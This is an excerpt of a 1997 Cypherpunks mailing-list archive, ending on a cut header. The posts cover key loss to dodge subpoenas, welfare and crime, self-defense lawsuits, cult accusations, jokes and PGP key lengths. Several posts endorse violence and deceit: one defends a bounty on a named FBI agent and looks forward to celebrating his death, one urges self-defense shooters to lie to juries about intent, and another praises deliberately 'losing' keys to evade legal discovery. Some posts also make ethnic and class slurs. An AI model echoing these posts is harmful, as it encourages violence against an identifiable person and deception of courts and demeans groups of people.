MIME-Version: 1.0
Content-Type: text/plain



At 01:00 PM 8/21/97 -0700, Tim May wrote:
>Technical
>solutions abound, of course, such as hosting the archives in offshore
>locations, or using strong crypto....and "forgetting" the key. This,
>obviously, is yet another reason the authorities want "key recovery.")

At a recent Cypherpunks meeting, I had a conversation with a person working
for a Very Large defense contractor. His company plans to literally use
thousands of keys. Their strategy when faced with a subpoena is to hand
over n-m of the total n keys. (m << n) The other keys just can't be found.
After all, it is perfectly reasonable that a few keys out of several
thousand get lost. To quote: "those keys simply won't be subject to subpoena".

I do not know which type of information will be encrypted with said keys.
Of course, neither will others, since the data will remain encrypted...

Remember this the next time you hear some clueless idiot claim that
industry wants full key recovery. The last thing industry needs is access
to all their confidential information during discovery.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 22 Aug 1997 11:24:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <19970820222934.23073@bywater.songbird.com>
Message-ID: <19970821201546.04625@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Aug 21, 1997 at 11:54:31AM -0400, Ray Arachelian wrote:
> On Wed, 20 Aug 1997, Kent Crispin wrote:
> 
> > One wonders if there is a microscope powerful enough to resolve Tim 
> > May's heart.
> 
> Meethinks (not speaking for Tim) that years under a fascist natzi-like
> regime bent on ripping out all out freedoms one by one and confiscating
> all things threatening to it would cause any awake person to lose any
> compassion for the scum that run our Freeh country.

Tim's problem is not lack of compassion for government workers - his 
problem is lack of compassion, period.  He wasn't talking about 
governments -- he was talking about a billion or so people -- the 
"sheeple", the "herd", the "underclass" -- whatever cute word he can 
overload with the considerable bile and and contempt at his command.  

The old saying, Ray, is that you can travel any path you want, but be
sure to choose one with heart.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 22 Aug 1997 09:38:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <v03102800b022928487f6@[207.167.93.63]>
Message-ID: <199708220125.UAA13805@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



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In <v03102800b022928487f6@[207.167.93.63]>, on 08/21/97 
   at 05:56 PM, Tim May <tcmay@got.net> said:

>The United States has a lot of redistribution of wealth and a lot of
>crime.


This is one of the problems of socialism.

When you have a group in society that never has to earn what they have
they tend to have little respect for the property of others.

A prime example is the welfair class in America. All their basic needs are
provided for by the State (food, housing, medical, education, ...) and yet
they have the highest crime rates. And make no mistake this isn't 18th
century England where people are stealing a loaf of bread to survive the
majority of these criminal are commiting their crimes to support their
entertainments.

Eliminate the Welfair state and allow people to defend their persons &
property without fear of retribution from the state and you will see a
dramatic decline in the crime rates in this country.

Somthing is seriously wrong when a home owner is more afraid of the
consequences of defending his home than his is from the criminals
attacking it.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 22 Aug 1997 11:45:43 +0800
To: cypherpunks@Algebra.COM
Subject: The Hazards of Expressing Opinions in Amerika
In-Reply-To: <v03102800b022928487f6@[207.167.93.63]>
Message-ID: <v03102802b022afae622b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:27 PM -0700 8/21/97, William H. Geiger III wrote:

>Somthing is seriously wrong when a home owner is more afraid of the
>consequences of defending his home than his is from the criminals
>attacking it.

Or when he is afraid of even expressing his opinion about defending his home!

Let me explain. A well-respected expert on self defense, Massad Ayoob,
writes for the various gun magazines. He's either a current or former New
Jersey cop, obviously of Arabic heritage. A very knowledgeable guy. He
often testifies in court cases involving a homeowner or shopkeeper
defending himself or his family.

Well, in recent years he's been increasingly strident about warning readers
not to do certain kinds of things, as these have been shown to affect jury
outcomes and have resulted in long prison terms for some of his employers.

I don't have a list of his "don'ts," but here's the idea, paraphrasing,
from memory:

* Don't use hollowpoints or any other politically incorrect ammunition,
even though these hollowpoints penetrate through walls less and are hence
safer to use in urban areas. Juries have been swayed to find for the
plaintiff, usually a perp who survived the self-defense, or his family, now
suing for everything the homeowner has.

* Don't use a self-loading rifle, and self-loading handguns are probably
best avoided, too. A plaintiff's lawyer will hold up a self-loader and
refer to it as an "automatic assault rifle," or, in the case of a
self-loading pistol, will scare the jury with tales of how "this gun can
fire a bullet with every pull of the trigger, spraying bullets." Best to
use an old-looking rifle, like an old side-by-side shotgun, or an old
Winchester 1894 lever gun, as the jury may be reminded of old Grandma and
her shotgun, or of John Wayne and his lever gun.

* Don't use any caliber of ammunition that has the word "magnum" in it.
Thus, no .357 Magnum, no .44 Magnum, etc. The word "magnum" makes a jury
think you were trying to kill the perp, which is bad.

(* Oh, it is best to say that you were only trying to "wing" the perp. If
he survives, say that this was your intent. If he dies, and his family is
pressing the damage claim, say it was an accident that he died. Of course,
all reputable self defense expert scoff at the notion of trying to "wing"
someone, and say that you shouldn't aim a gun at someone unless you plan to
shoot, and you shouldn't shoot unless you are aiming to kill, but don't say
anything about this to the jury. The jury wants to believe that shots can
be aimed to "wing" perps.)

* Don't fire more than one shot, as this may be argued to be "excessive
force." (Even though it is only apparent later, often much later, which
bullet incapacitated the intruder or robber. Firing just one shot and then
waiting to see if the perp stops shooting, or approaching, is rarely a wise
thing to do. When you have to shoot, you want to PUT HIM DOWN!! With as
many shots as you think it takes.)

* Don't publicly express opinions that a plaintiff's attorney could dig up
and use to show a "state of mind." No letters to the editor about cracking
down on criminals, no posts to the Net or mailing lists. (Ayoob hasn't
mentioned DejaNews, but one can imagine his reaction.)

* Don't belong to any militias, self-defense organizations, survivalist
groups, or even Community Watch programs. These have all been shown to
affect the nitwits on juries to find fro the poor innocent kid gunned down
in cold blood by the gun-toting right-wing Nazi.

* Don't subscribe, or purchase, gun magazines, survivalist literature, etc.
(Ayoob writes for gun magazines, ironically.)

* Don't use, or even own, a gun which a plaintiff's lawyer can hold up in
court and use to scare the jury members. This includes nearly any rifle
with a visible scope, visible detachable magazine, or one which is "black."
Even if this gun was not used in the action in question, all guns at the
residence will be seized by the authorities and made available to the other
side for use in their case.

* If possible, join left-wing organizations like the Sierra Club,
Greenpeace, and People for the Ethical Treatment of Animals. Jury members
will see one is a softhearted liberal, and maybe conclude that the intruder
was the one who deserved to be screwed, instead of the other way around. If
at all possible, register as a Democrat, as everyone knows Democrats aren't
gun-crazy killers like right-wingers are.

* Be careful what one writes in letters, in journals, or in other private
writings. These may become accessible under the "discovery" rules, and a
plaintiff's attorney may be able to find a quote or two which will make the
homeowner seem heartless or bloodthirsty.


(I'm not sure Ayoob has made all of these points. Some may be my own
contributions. But the gist is that civil damage cases are the real threat
to someone defending himself. And many homeowners insurance policies are
being changed to exclude protection for any situation involving the
discharge of a firearm.)

Ayoob was not always advocating such lamb-like, deceitful behavior. But
apparently he's seen too many cases where the political views and actions
of his employers undercut them in court and the perp who broke in or tried
to rob a store got multimillion dollar judgments from the person who used
"deadly force" to try to defend himself, his family, his employees, or his
business.

Another reason to use pseudonyms, of course.

(It's too late for me. A band of Hispanic home invaders could hit my house,
and I'd be the one found liable...all those posts their lawyers could find
with DejaNews or with other search engines. Including this one, which the
lawyer scum would use to show that I set out to "trick" the jury by
appearing to be mild and meek.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 22 Aug 1997 09:12:40 +0800
To: platypus@acmeonline.net
Subject: Re: heart
In-Reply-To: <Pine.LNX.3.93.970822052640.300B-100000@shirley>
Message-ID: <Pine.SUN.3.96.970821205233.23725A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 22 Aug 1997, ? the Platypus {aka David Formosa} wrote:

> We can't let one group or other be considered less the human[1].  No one
> is less or more desurving of basic rights.  The second you allow yourself
> to take that fundermentle step of saying that a group is less worthy then
> anouther group you tread down the path that leeds to desaster.

They already make themselves less than human by their actions, not by
their identity.

> The unfortunate inserdent with the plunger is an eclent example of what
> I'm saying.  This the victom was reduced from a human to someone without
> thouse rights in the mind of the perpertator.

Untrue, the victim remained human, the cop was inhuman in his treatment.
It doesn't matter what his thoughts were, his actions made him inhuman.

> So we should resond in a simmler mannor?

An eye for an eye, a toilet plunger for another.  That's the only true
justice there can be. 

> Exactly.  I can see a hellish future where the Cyperpunks have become the
> FBI.  While we may be canting cyperpunk type ideology we would be doing
> FBI style actions.

Distinction: cypherpunks don't want to control or take away your privacy.
Cypherpunks don't use toilet plungers.  Cypherpunks write code. :)
FBI should NOT exist.

> Annd who will have freedom in your would?  Your suggested means tell me
> more about your motives then your speech dose.

Everyone.  Not in my world, but everyone's world.  The only law that
should exist is "do what you will as long as you harm none."  By harm I
only mean the following: physically (i.e. beat, kill, maim, etc.) and
property (i.e. theft, damage.)  Everything else is just excess bullshit.

There are a billion and one ways to harm a person physically.  You don't
need a billion and one laws to state that it is wrong.  One is sufficient.

> [1] Unless like me thay have volenterly rejected that lable [2]
> [2] It however dosn't mean I regard myself less or more disuriving of
> basic 'human' rights.

Who does?  Who deserves less than basic human rights?  And yes, unlike the
scum that run the FBI, I include total privacy as a basic human right.
Just as important as the right to speak, think, or breathe air.

I understand your fears, but hating the enemy and knowing the enemy isn't
becoming it.  Revolutions aren't about taking over, they're about freedom
from the injustices done by the older regime.  Sure, in time the political
scum will rise to the top and another will be needed.  We've seen that
here already.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Fri, 22 Aug 1997 12:35:41 +0800
To: cypherpunks@toad.com
Subject: Micro-Soft Humor
In-Reply-To: <1.5.4.32.19970821161048.00743ce8@pop.pipeline.com>
Message-ID: <3.0.2.32.19970821211807.006c93a4@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



At 12:24 PM 8/21/97 -0600, Tim G. May BFD wrote:
>Tim G. May *DID*NOT* write:
>  "Imitation is the sincerest form of Obsessive-Compulsive Disorder."
>-----------------------------------------------------------------------

"I am your robot slave. Your whim is my obsessive compulsion."

Bill Gates dies.  He meets Peter at the Pearly Gates, and Peter gives Bill
the option of going to Heaven or Hell.  Bill asks if he can see what his
options are, and Peter offers to show Bill around Heaven and Hell, so Bill
can see which he likes better.  As Bill tours Heaven, he sees nice houses
and meets friendly people, but when he gets to Hell, he sees green fields
dotted with patches of trees, placid streams, and attractive women who are
not-so-subtly lusting after his body.  After the tour is over, Bill decides
that while Heaven is nice, maybe Hell is just a little bit nicer, so Peter
sends Bill off to Hell.

Three days later, Peter decides to go see how Bill is making out in Hell.
He finds him in a dank, squalid dungeon, manacled to a post, with one demon
using a cattle prod on his testicles, and a couple others slowly peeling
pieces of his skin off with blowtorches and machetes, and then dousing him
with concentrated salt water.  Bill is furious.  "You bastard!  What you
showed me was nothing like this!"  Peter replies, "I'm truly sorry.  I
didn't mean to deceive you. I just showed you the demo."


On their wedding night, Bill's wife finally realized where Bill got the
inspiration for his company name.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
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Eudora + PGP = Free, Convenient Communication Privacy

Go postal! Write your mommy a letter!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 22 Aug 1997 09:37:37 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: State Charges in Weaver Case
In-Reply-To: <19970822005931.27111.qmail@zipcon.net>
Message-ID: <Pine.SUN.3.96.970821212751.23725D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 21 Aug 1997, Mike Duvos wrote:

> I suppose it has something to do with that "only following
> orders" thing. :)

Fine, then what shall we charge the one that gave the order with?  And
what shal be the punishment?  If the one who takes the order relinquishes
reposability, then the one giving the order must be doubly responsible.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 22 Aug 1997 10:39:17 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Breaking Legal News....
In-Reply-To: <v03102800b022a095d611@[207.167.93.63]>
Message-ID: <199708220232.VAA14845@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800b022a095d611@[207.167.93.63]>, on 08/21/97 
   at 07:11 PM, Tim May <tcmay@got.net> said:

>(I don't defend the bounty being placed on Horiuchi's head, which I
>understand is up to $125,000. Them danged militias are practicing AP. My
>hunch is that old Lon is gonna get shivved one way or another.)

Well I do. :)

The day that Brown Shirt gets his we will be having a large party to
celebrate. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 22 Aug 1997 10:01:12 +0800
To: cypherpunks@toad.com
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <33FC3B4B.6729@dev.null>
Message-ID: <Pine.SUN.3.96.970821214222.23725H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 21 Aug 1997, Tim G. May wrote:

> "When all you have is a gun, everything looks like a target."
> 
> Tim G. May

When all you have are arrest warrants, everyone looks like a drug dealer.
:)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 22 Aug 1997 11:06:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Inside the Cypherpunks Cult (fwd)
Message-ID: <199708220254.VAA18931@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 21 Aug 1997 19:24:51 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Inside the Cypherpunks Cult

> On the subject of cults, neither do cult leaders sit on panels at the
> Computers, Freedom, and Privacy conference and mingle with the leading
> lawyers, law professors, NSA employees, and Justice Department
> representatives.

Never heard of the Pope then...

or Reverend Moon perhaps?

Or Mother Teresa...

Or perhaps the crazy guy from Oklahoma or Kansas or wherever who sat with
Bush during the final moments of his first election. I believe he was also
there when Desert Storm was launched. Has a big university named after
him. Oh Jesus, just can't think of his name...

Cults of personality are a function of being human, not what that human does
with their time.

You are confusing cause and effect.

> Where we differ is that first, I don't worry overmuch about what some
> foreigners are doing to other foreigners. I take George Washington at his
> word: avoid foreign entanglements. Not America's business if the Hutus are
> killing the Tutsis, or vice versa, or if the Nazis are killing the Jews, or
> vice versa.

And, yet, at the same time he had no compunction at all against buying arms
and influence from France...

Are any of them American Jews?...

Remember one thing oh Great Bawana Hunter May...

He who stands alone, dies alone.

What I would like to see is our favorite TLA jack-booted thugs to surround
some poor compound and then find themselves surrounded by thousands of
pissed-off gun-toting Americans daring the chicken-shits to do anything
about it. Any TLA clown that doesn't put their guns down immediately clearly
doesn't make much of the oath they swore to uphold the Constitution. And any
soldier who fires on Americans is clearly going against prima facia evidence
that the framers intended for American military force to NEVER be used
against American citizens on American soil. The soldier who killed the kid
down in the valley and got off scott free should face charges of treason.
So should his commanders all the way to ole Billary.

Consider, the law recognizes a parents right to sue an amusement park
because some incidental activity led to emotional distress what prevents us
from sueing the federal government for various criminal and civil penalties
relating to the physical and emotional suffering their actions have caused.
Hell, file a suite in the name of all Americans...

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 22 Aug 1997 10:16:08 +0800
To: cypherpunks@toad.com
Subject: passing on a chuckle (fwd)
Message-ID: <Pine.SUN.3.96.970821220231.23725J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




Noah's Ark... If it happened today

   And the Lord spoke to Noah and said,  "In six months I'm going
to make it rain until the whole earth is covered with water and all the
evil people are destroyed.  But I want to save a few good people, and two
of every kind of living thing on the planet.  I am commanding you to build
An Ark."
   And in a flash of lightning, He delivered the specifications for an
Ark. "Okay," said Noah, trembling with fear and fumbling with the
blueprints.
  "Six months, and it starts to rain," thundered the Lord. "You'd better
have the Ark completed, or learn to swim for a very long time."
  Six months passed, the skies clouded up and rain began to fall.
  The Lord saw that Noah was sitting in his front yard, weeping.
  And there was no Ark.
  "Noah," shouted the Lord, "Where is the Ark?"
  "Lord, please forgive me!" begged Noah. "I did my best.  But there were
big problems.  First, I had to get a building permit for the Ark
construction project, and your plans didn't meet code.  So I had to hire
an engineer to re-draw the plans.  Then I got into a big fight over
whether or not the Ark needed a fire sprinkler system.
   "Then my neighbor objected, claiming I was violating zoning by
building the Ark in my front yard, so I had to get a variance from the city
planningcommission.
  "Then I had problems getting enough wood for the Ark, because there was
a ban on cutting trees to save the Spotted Owl.  I had to convince the
U.S. Fish and Wildlife that I need the wood to save the Owls.  But they
wouldn't let me catch any owls, So, no owls.
  "The carpenters formed a union and went out on strike.  I had to
negotiate a settlement with the National Labor Relations Board before
anyone would pick up a saw or hammer.  Now we have sixteen carpenters
going on the boat, and still no owls.

  "Then I started gathering up animals, and got sued by an animal
rights group.  They objected to me taking only two of each kind.
  "Just when I got the suit dismissed, EPA notified me that I
couldn't complete the Ark without filing and environmental impact
statement on your proposed flood.  They didn't take kindly to the idea
that they had no jurisdiction over the conduct of a Supreme Being.
  "Then the Army Corp of Engineers wanted a map of the proposed
new flood plain.  I sent them a globe.
  "Right now, I'm still trying to resolve a complaint from the Equal
Employment Opportunity Commission over how may Croatians I'm supposed to
hire. The IRS has seized all my assets, claiming I'm trying to avoid
paying taxes by leaving the country.  And I just got a notice from the state
about owing them some kind of use tax.  I really don't think I can finish the
Ark for at least another five years," Noah wailed.
   The sky began to clear.  The sun began to shine.  A rainbow
arched across the sky. Noah looked up and smiled.
  "You mean you're not going to destroy the earth?" Noah asked
hopefully.
  "No," said the Lord sadly.  "The government already has."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <cypherpunks@toad.com>
Date: Fri, 22 Aug 1997 13:38:27 +0800
To: <cypherpunks@toad.com>
Subject: take The Boulder Pledge now!!!
Message-ID: <199708220507.WAA10828@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Eventually, all spam, and spamscam, would stop if everyone followed 
the advice of film critic Roger Ebert.  He wrote in *Yahoo*:

Last spring I was on a panel about "Bad Manners on the Net" 
at the Conference on World Affairs at the University of Colorado.  We 
agreeed that junk e-mail (then no more than a mote in the eye) could 
eventually bring the whole cooperative endeavor of online mail 
crashing to its ruin.  On the spot, I devised the Boulder Pledge, and 
we solemnly crossed our hearts and took it.  

                            The Boulder Pledge

                Under no circumstances will I ever purchase 
                *anything* offered to me as the result of an
                unsolicited e-mail message.  Nor will I 
                forward chain letters, petitions, mass mailings,
                or virus warnings to large numbers of others.
                This is my contribution to the survival of 
                the online community.

The Boulder Pledge works by making junk mail unprofitable.  If nobody 
*ever buys anything,* spammers eventually will quit.  I hope.

End the Plague.  Raise your right hand.  Read aloud [the Boulder 
Pledge].  Then, pass it on, via Email to 10 or 20 of your concerned
friends.  Thanks.

--
http://131.107.1.68/bbs/msnbc-commerce/710.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 22 Aug 1997 13:59:45 +0800
To: cypherpunks@toad.com
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <v03102800b022928487f6@[207.167.93.63]>
Message-ID: <19970821222631.62433@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Aug 21, 1997 at 08:27:30PM -0400, William H. Geiger III wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <v03102800b022928487f6@[207.167.93.63]>, on 08/21/97 
>    at 05:56 PM, Tim May <tcmay@got.net> said:
> 
> >The United States has a lot of redistribution of wealth and a lot of
> >crime.
> 
> 
> This is one of the problems of socialism.
> 
> When you have a group in society that never has to earn what they have
> they tend to have little respect for the property of others.

More precisely, people only respect other's property when they have 
property of their own.  If you don't own anything, it doesn't matter 
to you what other people own.

> A prime example is the welfair class in America. All their basic needs are
> provided for by the State (food, housing, medical, education, ...) and yet
> they have the highest crime rates.

The question is, do they have a realistic opportunity to aquire 
property of their own?  If they do not, then the crime will be there 
whether or not they get welfare.  That is, if the best job available 
is being a criminal, guess what?  

> And make no mistake this isn't 18th
> century England where people are stealing a loaf of bread to survive the
> majority of these criminal are commiting their crimes to support their
> entertainments.

True enough.  One possible outcome of eliminating welfare would be to 
change the crimes back to stealing bread to survive.

The dream is that if you eliminate welfare the cold glare of reality 
will force the "welfair class" to become productive citizens or die.  
There are other possibilities.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 22 Aug 1997 14:06:38 +0800
To: cypherpunks@toad.com
Subject: Re: heart
In-Reply-To: <Pine.LNX.3.93.970822052640.300B-100000@shirley>
Message-ID: <19970821224221.31593@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Aug 22, 1997 at 02:55:18AM +0200, Anonymous wrote:
> At 05:39 AM 8/22/97 +1000, you wrote:
> >> What compassion did they show?  Toilet plungers?  Bullets in the head,
> >> flame throwers and tanks?
> >
> >So we should resond in a simmler mannor?
> 
> Should we just sit idly by and let police officers attack citizens?

Of course not.  There are possible responses other than the ones you 
suggest, however.

> Or maybe we should do what our founders wanted, defend ourselves with
> miliary rifles.  So if a pig wants to shove a crowbar up your ass, are you
> going to shoot him, or just say "I would never violate your rights like this!"

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 22 Aug 1997 14:13:21 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <19970820222934.23073@bywater.songbird.com>
Message-ID: <19970821224859.24682@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Aug 22, 1997 at 12:40:29AM +0000, Vipul Ved Prakash wrote:
> Kent Crispin wrote:
> 
> > On Wed, Aug 20, 1997 at 08:51:09PM -0700, Tim May wrote:
> > > At 1:16 PM -0700 8/20/97, Patrick Oonk wrote:
> > > 
> > > But the ability of a herd to take a vote, real or alleged, will not be
> > > sufficient to collect tribute from those who don't want to make the
> > > contribution freely.
> 
> > Note another characteristic of cult thinking -- total separation of
> > the illuminati from the "herd" -- the idea that the "chosen" are
> > irrevocably different from those other unfortunate creatures that
> > accidentally share the same physical form. 
> 
> the idea is that the "competent" (not "chosen") are irrevocably different 
> from those other "incompetent and parasitical" (and not "unfortunate") 
> creatures that accidentally share the same physical form.

And how is it that one knows that one is "competent"?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 22 Aug 1997 15:21:49 +0800
To: Irwan Hadi <phoenix@cutey.com>
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <19970817123643.13713.qmail@hotmail.com>
Message-ID: <3.0.2.32.19970821225601.0077e370@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>4096 bit keys are going to be rather hard to break in this lifetime. :-) 
>but to generate and signing a message with 4096 bits key , will take 
>much times, than with 2048 or 1024

Diffie-Hellman keys have different standards for how long they
need to be, since they're based on discrete logs rather than factoring,
but the necessary lengths are similar.  However, generating
Diffie-Hellman keys is much faster, once you've settled on a modulus,
since you don't need to search for probable primes, you just
need to pick a random number that's relatively prime to the 
modulus-1 (trivial, if you're using a Sophie-Germain prime modulus)
and maybe to the generator (also trivial.)  So go for 4096,
or a least use a much longer key than the 192 bits Sun once used :-).

There's no particular reason _not_ to support 4096-bit RSA keys 
(since using dynamic-sized data structures makes programs more reliable 
and less susceptible to attacks like overly-long input data), 
but there's also really no need for keys longer than 2048 bits unless
some radical algorithmic breakthrough happens.  (Computer hardware 
breakthroughs aren't relevant; the exponential behaviour of the
algorithms mean that a few extra bits makes any device that fits
on the planet still too small.)  1024 bits is probably enough,
but maybe not, depending on how long you need to keep something secret
and how much technology improves doing your lifetime.  

Techniques for breaking into your computer and stealing the private key
will probably improve far faster than cracking algorithms,
especially as 
1) Nanotech makes it much easier to recover old data off disks and
send nanobots to collect and return it
2) The Singularity makes people smart enough to find all the security
bugs in Win2001
3) The Fingertip Escrow Act requires recording of all keystrokes and
other potentially illicit finger activities
4) Telepathy-input Yellow Sticky Notes make recording your passphrase
so much more convenient.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM/0p8PthU5e7emAFAQEkzAH/QFXqB3diLTQHi12aXqFKhsoDtZJ2JhAk
hyOHb9nMmOL/QnyrZ7s3SYega4Pb/cwF+e4w9/lh5+9QzYZawKq/BQ==
=jAHi
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 22 Aug 1997 15:20:03 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: death of Usenet
